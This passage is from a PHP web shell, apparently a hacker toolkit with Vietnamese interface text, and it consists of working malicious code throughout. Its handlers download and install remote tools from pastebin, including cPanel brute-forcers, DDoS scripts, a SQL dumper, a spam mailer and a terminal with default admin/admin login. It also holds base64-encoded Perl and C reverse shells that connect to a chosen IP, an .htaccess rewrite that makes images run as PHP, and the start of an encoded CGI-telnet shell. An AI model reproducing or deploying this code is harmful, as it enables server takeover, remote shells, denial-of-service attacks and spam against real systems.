ZVd4bFBTSmpiMnh2Y2pvZ1lteDFaVHNpUGp4aVBsQk1WVWRKVGxNOEwySStQQzl6Y0dGdVBqeGljaUF2UGdvOFlqNG1ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzZ0t5QWlRVVJFSUU1RlZ5QlFURlZIU1U0aVBDOWlQanhpY2lBdlBnbzhZajRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc2dLeVp1WW5Od095QWlWVkJNVDBGRUlpQThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBrTTVPUzVhU1ZBOEwzTndZVzQrUEM5aVBqeGljaUF2UGdvOFlqNG1ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzZ0t5QThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBpOTNjQzFqYjI1MFpXNTBMM0JzZFdkcGJuTXZZems1TDJNNU9TNXdhSEE4TDNOd1lXNCtQQzlpUGp4aWNpQXZQZ284WW5JZ0x6NEtQR0krUThPaFkyZ2dNaUE2SUVWa2FYUWdNU0J3YkhWbmFXNGdZdUc2cFhRZ2E4T3NJQ2dnUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCeVpXUTdJajVoYTJsemJXVjBJQ2s4TDNOd1lXNCtQQzlpUGp4aWNpQXZQZ284YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUNNeU56UmxNVE03SWo0OFlqNG1ibUp6Y0R0TGFHa2dZMjl3ZVNCamIyUmxJR052YmlCemFHVnNiQ0IydzZCdklIUm93NndnYzJGMlpTQmk0YnVMSUd6aHU1ZHBKbTVpYzNBN0lDWm5kRHNtWjNRN0lIWnA0YnEvZENCaTRicXRlU0JpNGJxaElIYkRvRzhnS0dGelpHRnpaR0Z6WkhNcElDWm5kRHNtWjNRN0lITmhkbVVnYjJzbWJtSnpjRHNnSm1kME95Wm5kRHNnWTI5d2VTQnR3Nk1nYm1kMTRidVRiaUJqYjI0Z2MyaGxiR3dnSm1kME95Wm5kRHNnYzJGMlpTQnZheUJvNGJxL2RDQnM0YnVYYVR3dllqNDhMM053WVc0K1BHSnlJQzgrQ2p4aVBqeHpjR0Z1SUhOMGVXeGxQU0pqYjJ4dmNqb2djbVZrT3lJK1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliR0ZqYXpzaVBpWnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095QXJQQzl6Y0dGdVBqeHpjR0Z1SUhOMGVXeGxQU0pqYjJ4dmNqb2dJekkzTkdVeE16c2lQaUE4TDNOd1lXNCtMM2R3TFdOdmJuUmxiblF2Y0d4MVoybHVjeTloYTJsemJXVjBMMkZyYVhOdFpYUXVjR2h3SUR3dmMzQmhiajQ4TDJJKwonOwoKJGZpbGUgPSBmb3Blbigid3AucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC93cC5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9CmlmIChpc3NldCgkX1BPU1RbJ3ZuJ10pKQp7CiAgICBta2RpcigndXBzaGVsbCcsIDA3NTUpOwogICAgY2hkaXIoJ3Vwc2hlbGwnKTsKJGNvbmZpZ3NoZWxsID0gJ1BHaDBiV3crUEdobFlXUStDZ284YldWMFlTQm9kSFJ3TFdWeGRXbDJQU0pEYjI1MFpXNTBMVlI1Y0dVaUlHTnZiblJsYm5ROUluUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NJK0Nnb0tQSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUJpYkhWbE95SStQR0krVm1sbGRFNWxlSFFnS0U1VlMwVWdNeUFwT2p3dllqNDhMM053WVc0K1BHSnlJQzgrQ2p4aVBqeGljaUF2UGp3dllqNEtQR0krUkU5WFRreFBRVVFnTVNCRHc0RkpJRlJGVFZCTVJTQkQ0YnVtUVNCT1ZVdEZJQzBtWjNRN1BDOWlQanhpY2lBdlBnbzhZajR0Sm1kME95QkZSRWxVSUVOUFJFVWdNU0JVVWs5T1J5QkR3NEZESUVaSlRFVWd4SkREa3lBdEptZDBPeUJEU01PSVRpQThjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBrTlBSRVVnVTBoRlRFdzhMM053WVc0K0lGYkRnRThtYm1KemNEczhMMkkrUEdKeUlDOCtDanhpUGkwbVozUTdJRnBKVUNCTTRicWdTVHd2WWo0OFluSWdMejRLUEdJK0xTWm5kRHNnVlZBZ1ZFVk5VRXhGUEM5aVBqeGljaUF2UGdvOFlqNHRKbWQwT3lCVFJWUlZVRHd2WWo0OFluSWdMejRLUEdJK0xTWm5kRHNnVk1PTVRTQlFRVlJJSUZOSVJVeE1QQzlpUGp4aWNpQXZQZ284WWo0OGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklISmxaRHNpUGp4aWNpQXZQand2YzNCaGJqNDhMMkkrQ2p4aWNpQXZQZ284TDJoMGJXdysKJzsKCiRmaWxlID0gZm9wZW4oInZuLnBocCIgLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRjb25maWdzaGVsbCkpOwpmY2xvc2UoJGZpbGUpOwogICAgY2htb2QoImJiLnBocCIsMDc1NSk7CiAgIGVjaG8gIjxpZnJhbWUgc3JjPXVwc2hlbGwvdm4ucGhwIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsKfQppZiAoaXNzZXQoJF9QT1NUWydiYiddKSkKewogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsKICAgIGNoZGlyKCd1cHNoZWxsJyk7CiRjb25maWdzaGVsbCA9ICdQR2gwYld3K1BHaGxZV1ErQ2dvOGJXVjBZU0JvZEhSd0xXVnhkV2wyUFNKRGIyNTBaVzUwTFZSNWNHVWlJR052Ym5SbGJuUTlJblJsZUhRdmFIUnRiRHNnWTJoaGNuTmxkRDExZEdZdE9DSStDZ29LUEdJK1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQnlaV1E3SWo1UlZlRzZvazRnVE1PZElGVlRSVkl0Sm1kME95QThMM053WVc0K1BHSnlJQzgrSm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3SUNzZ0lsRlZXZUc3Z0U0Z1ZPRzZva2tnVE1PS1RpQWlQR0p5SUM4K0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0ptNWljM0E3Sm01aWMzQTdKbTVpYzNBN0lDc2dJa05JVHlCUVNNT0pVQ0RFa0ZYRGxFa2dUZUc3bmlCUzRidVlUa2NnSWp4aWNpQXZQaVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3lBcklGUkl3NHBOSU1TUTRidUtUa2dnUk9HNm9FNUhJQ0lnVUVoUUlDSThZbklnTHo0OFluSWdMejQ4YzNCaGJpQnpkSGxzWlQwaVkyOXNiM0k2SUhKbFpEc2lQbEZWNGJxaVRpQk13NTBnUXNPQVNTQldTZUc2dmxRdEptZDBPend2YzNCaGJqNDhZbklnTHo0bWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzZ0t5QWlVVlhodXFKT0lFekRuU0JVU2VHN2hsQWdWRWxPSUZUaHVxSkpJRXpEaWs0Z0lqeGljaUF2UGladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3lBcklGVlFURTlCUkR4aWNpQXZQanhpY2lBdlBqeHpjR0Z1SUhOMGVXeGxQU0pqYjJ4dmNqb2djbVZrT3lJK1ExTkVUQ0F0Sm1kME95Qk5XVk5SVER3dmMzQmhiajQ4WW5JZ0x6NDhjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJR0pzZFdVN0lqNXpaV3hsWTNRZ0tpQm1jbTl0SUdKdllteHZaMTkxY0d4dllXUThMM053WVc0K1BDOWlQanhpY2lBdlBnbzhZajQ4WW5JZ0x6NVV3NHhOSUZOSVJVeE1MbEJJVUR3dllqNDhZbklnTHo0S1BHSStQR0p5SUM4K1BITndZVzRnYzNSNWJHVTlJbU52Ykc5eU9pQmliSFZsT3lJK0ptNWljM0E3TDJGMGRHRmphRzFsYm5RdmVIaDRlSGg0ZUhOb1pXeHNMbkJvY0R3dmMzQmhiajQ4TDJJK0Nqd3ZhSFJ0YkQ0PQonOwoKJGZpbGUgPSBmb3BlbigiYmIucGhwIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG1vZCgiYmIucGhwIiwwNzU1KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9iYi5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOwp9Cj8+CgoKICA8dHI+CiAgICA8dGQ+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzE3Myc+CiAgICAgIDx0cj4KICAgICAgICA8dGggY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGRpdiBhbGlnbj0ncmlnaHQnPjxzcGFuIGNsYXNzPSdzdHlsZTEnPlNPVVJDRSAgIDo8L3NwYW4+PC9kaXY+PC90aD4KICAgICAgICA8dGQgY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGZvcm0gbmFtZT0nRjEnIG1ldGhvZD0ncG9zdCc+CiAgICAgICAgICAgIDxkaXYgYWxpZ249J2xlZnQnPgogICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3ZiYicgIHZhbHVlPSdWQkInPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2psJyAgdmFsdWU9J0pvbUxhJz4KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd3cCcgIHZhbHVlPSdXb3JkUHJlc3MnPgoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3ZuJyAgdmFsdWU9J1ZpZXROZXh0Jz4KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdiYicgIHZhbHVlPSdCby1CbG9nJz4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9mb3JtPjwvdGQ+CiAgICAgIDwvdHI+CiAgIDx0cj4KICAgCjwvYm9keT4KPC9odG1sPg==
  1545. ';
  1546. $file = fopen("upshell.php", "w+");
  1547. $write = fwrite($file, base64_decode($perltoolss));
  1548. fclose($file);
  1549. echo "<iframe src=upshell.php width=100% height=720px frameborder=0></iframe> ";
  1550. }
  1551. //BRUTE CP
  1552. elseif ($action == 'brutecp') {
  1553. $brute = 'http://pastebin.com/raw.php?i=bLaffhbm';
  1554. $brutecp = file_get_contents($brute);
  1555. $letgo = fopen('brutecp.php', 'w');
  1556. fwrite($letgo, $brutecp);
  1557. fclose($letgo);
  1558. echo "<iframe src='brutecp.php' width='100%' height='500'></iframe>";
  1559. }
  1560. //DDOS
  1561. elseif ($action == 'ddos') {
  1562. $ddos = 'http://pastebin.com/raw.php?i=kJSN6ifL';
  1563. $getfile = file_get_contents($ddos);
  1564. $done = fopen('ddos.php', 'w');
  1565. fwrite($done, $getfile);
  1566. fclose($done);
  1567. echo "<iframe src='ddos.php' width='100%' height='500'></iframe>";
  1568. }
  1569. //GetBot
  1570. elseif ($action == 'getbot') {
  1571. $ddos1 = 'http://pastebin.com/raw.php?i=3swV6ZBL';
  1572. $getfile1 = file_get_contents($ddos1);
  1573. $done1 = fopen('gogogo.php', 'w');
  1574. fwrite($done1, $getfile1);
  1575. fclose($done1);
  1576. }
  1577. //BUGSHELL
  1578. elseif ($action == 'bugshell') {
  1579. $bug = 'http://pastebin.com/raw.php?i=ifASuwcv';
  1580. $shell = file_get_contents($bug);
  1581. $one = fopen('bugshell.php', 'w');
  1582. fwrite($one, $shell);
  1583. fclose($one);
  1584. echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";
  1585. }
  1586. //ssihtml
  1587. elseif ($action == 'ssihtml') {
  1588. $ssi = 'http://pastebin.com/raw.php?i=tDCCyfuK';
  1589. $shtml = file_get_contents($ssi);
  1590. $fuck = fopen('ssishell.shtml', 'w');
  1591. fwrite($fuck, $shtml);
  1592. fclose($fuck);
  1593. echo "<iframe src='ssishell.shtml' width='100%' height='500'></iframe>";
  1594. }
  1595. //EnDecode
  1596. elseif ($action == 'endecode') {
  1597. $en = 'http://pastebin.com/raw.php?i=wmnkLx8s';
  1598. $de = file_get_contents($en);
  1599. $cone = fopen('endecode.php', 'w');
  1600. fwrite($cone, $de);
  1601. fclose($cone);
  1602. echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";
  1603. }
  1604. //Md5
  1605. elseif ($action == 'md5') {
  1606. echo "<iframe src='http://www.md5.cz/' width='100%' height='500'></iframe>";
  1607. }
  1608. //Crack Md5
  1609. elseif ($action == 'crackmd5') {
  1610. echo "<iframe src='http://www.hashkiller.co.uk/md5-decrypter.aspx' width='100%' height='500'></iframe>";
  1611. }
  1612. //FINDADMIN
  1613. elseif ($action == 'findadmin') {
  1614. $find = 'http://pastebin.com/raw.php?i=dUNiNBwE';
  1615. $admin = file_get_contents($find);
  1616. $dmm = fopen('findadmin.php', 'w');
  1617. fwrite($dmm, $admin);
  1618. fclose($dmm);
  1619. echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";
  1620. }
  1621. //DDosver2
  1622. elseif ($action == 'ddosv2') {
  1623. $ddosv = 'http://pastebin.com/raw.php?i=X6K1UHYi';
  1624. $dess = file_get_contents($ddosv);
  1625. $coneww = fopen('ddosv2.php', 'w');
  1626. fwrite($coneww, $dess);
  1627. fclose($coneww);
  1628. echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";
  1629. }
  1630. //ViewDomain
  1631. elseif ($action == 'viewdomain') {
  1632. $viewudomain = 'http://pastebin.com/raw.php?i=pfCrCiBb';
  1633. $desszzzz = file_get_contents($viewudomain);
  1634. $coww = fopen('viewudomain.php', 'w');
  1635. fwrite($coww, $desszzzz);
  1636. fclose($coww);
  1637. echo "<iframe src='viewudomain.php' width='100%' height='500'></iframe>";
  1638. }
  1639. //DumpSql
  1640. elseif ($action == 'dumpsql') {
  1641. $brutecpv2s = 'http://pastebin.com/raw.php?i=JnGPTDRT';
  1642. $dessxx = file_get_contents($brutecpv2s);
  1643. $coneaax = fopen('dumpsql.php', 'w');
  1644. fwrite($coneaax, $dessxx);
  1645. fclose($coneaax);
  1646. echo "<iframe src='dumpsql.php' width='100%' height='500'></iframe>";
  1647. }
  1648. //ByPass
  1649. elseif ($action == 'bypass') {
  1650. $brutecpv2s = 'http://pastebin.com/raw.php?i=d5CKhauK';
  1651. $deliion = file_get_contents($brutecpv2s);
  1652. $cocvbax = fopen('bypass.php', 'w');
  1653. fwrite($cocvbax, $deliion);
  1654. fclose($cocvbax);
  1655. echo "<iframe src='bypass.php' width='100%' height='500'></iframe>";
  1656. }
  1657. //Spammail
  1658. elseif ($action == 'spammail') {
  1659. $brutecpv2s = 'http://pastebin.com/raw.php?i=pVHPNQb4';
  1660. $brutecpv2a = file_get_contents($brutecpv2s);
  1661. $brutecpv2b = fopen('spamail.php', 'w');
  1662. fwrite($brutecpv2b, $brutecpv2a);
  1663. fclose($brutecpv2b);
  1664. echo "<iframe src='spamail.php' width='100%' height='500'></iframe>";
  1665. }
  1666. //BotShellKidAnons
  1667. elseif ($action == 'botkid') {
  1668. $brutecpv2s = 'http://pastebin.com/raw/v5LBBrK5';
  1669. $botKid = file_get_contents($brutecpv2s);
  1670. $botKid1 = fopen('spamail.php', 'w');
  1671. fwrite($botKid1, $botKid);
  1672. fclose($botKid1);
  1673. echo "<iframe src='botkid.php' width='100%' height='500'></iframe>";
  1674. }
  1675. //DieGroupTerminal
  1676. elseif ($action == 'termi') {
  1677. $file = fopen($dir . "DGTerminal.php", "w+");
  1678. $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
  1679. $file = fopen("DGTerminal.php", "w+");
  1680. $write = fwrite($file, base64_decode($perltoolss));
  1681. fclose($file);
  1682. echo "<br /><center><b><font color='#33ff33' size='4'>Success!!</font><br /><br /><font color='yellow' size='4'>Open File:</font> <font size='4'><a href='DGTerminal.php' target='_blank' style='color:red'>DGTerminal.php</a></font></b></center><br><center><font color='aqua' size='4'>Username:</font> <font size='4'><a style='color:red'>admin</a></font> <br><font color='aqua' size='4'>Password:</font> <font size='4'><a style='color:red'>admin</a></font></b></center>";
  1683.  
  1684. }
  1685. //BotShellKidAnons
  1686. elseif ($action == 'botkid') {
  1687. $brutecpv2s = 'http://pastebin.com/raw/n3uGHKug';
  1688. $botKid = file_get_contents($brutecpv2s);
  1689. $botKid1 = fopen('spamail.php', 'w');
  1690. fwrite($botKid1, $botKid);
  1691. fclose($botKid1);
  1692. echo "<iframe src='botkid.php' width='100%' height='500'></iframe>";
  1693. }
  1694. //BruteCPv2
  1695. elseif ($action == 'brutecpv2') {
  1696. $brutecpv2s = 'http://pastebin.com/raw.php?i=Xm28RVWL';
  1697. $brutecpv2a = file_get_contents($brutecpv2s);
  1698. $brutecpv2b = fopen('brutecpv2.php', 'w');
  1699. fwrite($brutecpv2b, $brutecpv2a);
  1700. fclose($brutecpv2b);
  1701. echo "<iframe src='brutecpv2.php' width='100%' height='500'></iframe>";
  1702. }
  1703. //kill shell
  1704. elseif ($action == "Delete-Shell") {
  1705. echo '<center>B&#7841;n Th&#7853;t S&#7921; Mu&#7889;n X&#243;a B&#7887; Shell N&#224;y ?</center><br><br>';
  1706. ?>
  1707. <center><b><a style="color:#ff0000;" href="?action=Delete-shell" title="Delete Shell">X&#211;a Shell</a> |
  1708. <a style="color:#ff0000;" href="<?php echo $_SERVER['PHP_SELF']; ?>" title="Back"> Kh&#244;ng X&#243;a</a>
  1709. </b></center><br><br>
  1710. <?php
  1711. }
  1712. if ($action == "Delete-shell") {
  1713. $file = $_SERVER['PHP_SELF'];
  1714. if (@unlink(preg_replace('!\(\d+\)\s.*!', '', 'index.php'))) die('<br><br><b class="tmp"><font color="#ff0000" size="2pt"><center><h1>Shell &#272;&#227; &#272;&#432;&#7907;c X&#243;a<h1></center></font></b><meta http-equiv="refresh" content="3; url=?".$pwd."" />');
  1715. else echo '<font color="#fff600" size="2pt">Li&#234;n K&#7871;t B&#7883; &#272;&#7913;t!</font>';
  1716. }
  1717. //back connect
  1718. elseif ($action == 'backconnect') {
  1719. !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1720. !$yourport && $yourport = '12345';
  1721. $usedb = array('perl' => 'perl', 'c' => 'c');
  1722. $back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1723. $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1724. if ($start && $yourip && $yourport && $use) {
  1725. if ($use == 'perl') {
  1726. cf('/tmp/angel_bc', $back_connect);
  1727. $res = execute(which('perl') . " /tmp/angel_bc $yourip $yourport &");
  1728. } else {
  1729. cf('/tmp/angel_bc.c', $back_connect_c);
  1730. $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1731. @unlink('/tmp/angel_bc.c');
  1732. $res = execute("/tmp/angel_bc $yourip $yourport &");
  1733. }
  1734. m("Now script try connect to $yourip port $yourport ...");
  1735. }
  1736. formhead(array('title' => 'Back Connect'));
  1737. makehide('action', 'backconnect');
  1738. p('<p>');
  1739. p('Your IP:');
  1740. makeinput(array('name' => 'yourip', 'size' => 20, 'value' => $yourip));
  1741. p('Your Port:');
  1742. makeinput(array('name' => 'yourport', 'size' => 15, 'value' => $yourport));
  1743. p('Use:');
  1744. makeselect(array('name' => 'use', 'option' => $usedb, 'selected' => $use));
  1745. makeinput(array('name' => 'start', 'value' => 'Start', 'type' => 'submit', 'class' => 'bt'));
  1746. p('</p>');
  1747. formfoot();
  1748. } //end backconnect window via NC
  1749. elseif ($action == 'cgi') {
  1750. mkdir('error', 0755);
  1751. chdir('error');
  1752. $kokdosya = ".htaccess";
  1753. $dosya_adi = "$kokdosya";
  1754. $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
  1755. $metin = "Options +FollowSymLinks +Indexes
  1756. DirectoryIndex default.html
  1757. ## START ##
  1758. Options +ExecCGI
  1759. AddHandler cgi-script log cgi pl tg love h4 tgb x-zone
  1760. AddType application/x-httpd-php .jpg
  1761. RewriteEngine on
  1762. RewriteRule (.*)\.war$ .log
  1763. ## END ##";
  1764. fwrite($dosya, $metin);
  1765. fclose($dosya);
  1766. $pythonp = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+VEhFIE5FVyBLSU5HUzwvZm9udD4iOwoKJFBhc3N3b3JkID0gInRua3RlYW0iOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfWVsc2V7CgkJcmV0dXJuIDA7Cgl9Cn0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOwkJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxMzA7